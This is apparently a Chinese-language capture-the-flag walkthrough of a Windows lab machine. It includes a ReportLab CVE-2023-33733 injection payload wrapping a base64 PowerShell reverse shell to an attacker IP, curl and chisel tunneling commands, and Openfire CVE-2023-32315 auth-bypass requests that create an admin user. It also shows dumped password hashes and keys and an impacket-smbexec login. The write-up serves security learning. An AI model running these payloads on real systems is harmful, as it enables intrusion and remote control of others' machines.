1、信息收集(给ip了第一步端口扫描)+通过smbclient匿名入侵
注:将其加入hosts文件中解析
gobuster、dirsearch、dirb等收集不列出
80端口:
6791端口:
经过爆破未能登入
445端口:常见默认端口smbclient
匿名登陆smb
查看Documents文件内容
get下载xlsx文件可以发现用户名密码,尝试对6791端口进行登入,编辑分写用户名和密码对6791端口进行爆破
爆破失败但是可见登入的用户有两个
所以三个用户为什么只有两个用户名是可用的,因为前两个用户后面都只跟一个字母且为大写,所以按这个思路走blake这个用户后门有没有可能也是只跟一个字母也是大写
针对第三个用户名进行爆破blake(A-Z),因为前两个用户虽然存在但并没有密码,所以只针对第三个blake用户进行爆破,这里使用chatgpt生成blake(A-Z)
成功登入
2、寻找相关漏洞
四个功能点均为将输入内容转化成PDF即reporthub功能
没找到单独reporthub的漏洞但是存在与其相关CVE-2023-33733
Reportlab Python 库中存在一个代码注入漏洞(CVE-2023-33733),目前该漏洞的细节及PoC/EXP已经公开。
该漏洞为Reportlab之前修复的代码执行漏洞的补丁绕过,通过绕过'rl_safe_eval'的沙箱限制,从而导致代码执行。
<para>Note: <font color="#484848">{{comment}}</font></para>
因没有被清理所以{{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html
通过html注入实现CVE-2023-33733 RCE攻击 | CN-SEC 中文网
POC
<para>
<font color="[[[getattr(pow, Word('__globals__'))['os'].system('构造语句') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font>
</para>
所以需要利用此漏洞在生成pdf时反弹shell
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA2ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
成功反弹shell
常规扫一遍目录发现.db文件发现用户alexanderk、claudias的信息
很奇怪在Desktop就拿到user.txt了这么快的吗在看看其他的怎么提权到administrator
3、system旗帜
本地监听端口如下
内网渗透|Chisel内网穿透工具-腾讯云开发者社区-腾讯云 (tencent.com)
Release v1.9.1 · jpillora/chisel · GitHub
chisel server -p 6666 --reverse
这时需要两个chisel进行利用一个Linux一个Windows将Windows的进行curl上传与kali中的chisel做交互映射端口到kali机中
可以在自己的攻击机上测试一下(需要开启服务apache2或者开启80端口监听)
curl http://10.10.14.66///chisel_1.9.1_windows_amd64/chisel.exe -o chisel.exe
建立隧道端口转发
客户端使用 R: 前缀来指示需要进行反向连接,并通过对本地端口(127.0.0.1)的映射,将远程服务器上的端口(9090 和 9091)转发到本地主机上的对应端口(同样是 9090 和 9091)
./chisel.exe client 10.10.14.66:6666 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
成功转发访问
CVE-2023-32315
直接搜索openfire的版本漏洞(searchsploit 中的openfire漏洞版本不对应)
CVE-2023-32315:Openfire身份认证绕过漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
宸极实验室—『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE - 知乎 (zhihu.com)
上述文章中的其他openfire的洞感兴趣的可以自行测试
获取JSESSIONID
和csrf
:
POC
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: 127.0.0.1:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 130
Set-Cookie: JSESSIONID=node01kocd4tb1vuoots7yi53wwldo1.node0; Path=/; HttpOnly
Set-Cookie: csrf=MYypVevHWJwCVwD; Path=/; HttpOnly
未授权创建用户POC
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 127.0.0.1:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
或者直接使用
后台上传插件实现RCE
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1
在Plugins
功能处上传从github
上下载的插件
上传jar包
点击进入输入123密码进入管理界面
powershell反弹即可
成功反弹
信息收集
在.script文件中找到各种密文(有用的大概下面这些)
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
GitHub - c0rdis/openfire_decrypt: Little java tool to decrypt passwords from Openfire embedded-db
GitHub - jas502n/OpenFire_Decrypt: OpenFire 管理后台账号密码解密
使用openfire工具解密后台管理
encryptedPassword、passwordKey解密
据说两种方式
第一种
impacket-smbexec administrator:'解码的密码'@solarlab.htb
第二种是使用上传靶机RunasCs,然后再反弹shell一次GitHub - antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe
第二种请看这位师傅,期间也请教了这位师傅解惑